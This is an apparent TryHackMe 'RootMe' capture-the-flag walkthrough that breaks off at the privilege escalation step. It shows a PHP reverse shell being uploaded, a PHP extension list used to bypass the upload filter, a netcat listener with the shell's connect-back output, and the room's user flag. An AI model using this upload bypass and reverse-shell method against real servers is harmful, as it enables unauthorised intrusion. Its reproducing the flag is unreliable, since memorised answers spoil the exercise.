Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
suecho"10.10.55.36 rootme.thm">>/etc/hostsmkdirthm/rootmecdthm/rootme# At the end of the room# To clean up the last line from the /etc/hosts filesed-i'$ d'/etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
2.4 - Find directories on the web server using the GoBuster tool.
The website (port 80) does not have much functionality. Next, we can run a gobuster scan to look for hidden files and directories using the dirb/common.txt wordlist.
3.1 - Find a form to upload and get a reverse shell, and find the flag (user.txt).
During an offensive engagement, upload forms present excellent opportunities to exploit potential vulnerabilities. One of the first things to try is uploading a reverse shell.
Uploading a reverse shell requires a few steps:
Successfully upload a reverse shell script
Start a listener
Get the reverse shell script to run (note that the /uploads directory was found by the gobuster scan)
Apache servers use PHP, so we can search google for an Apache or PHP reverse shell script in order to progress. The first result I got was the Pentest Monkey PHP reverse shell:
You can get the shell script in any manner of your choosing. One easy way is to copy the raw data, paste it into a text editor, and save it.
In order for the reverse shell to work, you need change the IP address to that of your attacker machine (the AttackBox IP address if you’re using it). The port also needs to be specified and needs to be the same as the port that we set on the listener (in the next step):
Next, return to a terminal and start a netcat listener using the nc command:
nc-lvnp<port>
Make sure that the port number you specify for the listener is the same as the one in the PHP reverse shell:
❯nc-nlvp1234listeningon [any] 1234 ...
Running a NetCat listener.
Now that the listener is active, let’s try uploading a shell. I saved it as ‘reverse_shell.php’ and tried uploading it as is, but this was denied:
Looks like PHP is ‘not permitted’. We’ll have to bypass the restrictions that have been set.
The first primary strategy for identifying a file upload vulnerability is by manipulating the file extension. There is a good list at hacktricks (https://book.hacktricks.xyz/pentesting-web/file-upload).
I used the following list:
phpphp2php3php4php5php6php7
phps
phpsphtphtmphtmlpgifshtmlhtaccesspharinchphpctpmodulea
Add list in payload options.
Now navigate to path /uploads and we will see our payload there now click on it to execute it, and we have our shell in our Netcat listener
nc-nlvp1234listeningon [any] 1234 ...connectto [10.9.80.228] from (UNKNOWN) [10.10.55.36] 53476Linuxrootme4.15.0-112-generic#113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux14:33:46up7min,0users,loadaverage:0.38,1.58,1.03USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh:0:can't access tty; job control turned off$ whoamiwww-data$ pwd/
Navigate to /var/www/user.txt
$cdvar/www$lshtmluser.txt$catuser.txt
🚩 user.txt [Flag]
THM{y0u_g0t_a_sh3ll}
Task 4 - Privilege escalation
4.1 - Search for files with SUID permission, which file is weird?
Now that we are on the target machine, we need to look for ways to escalate our privileges. Using our next question as a hint we need to search for files with SUID permissions. To do this we can run the command:
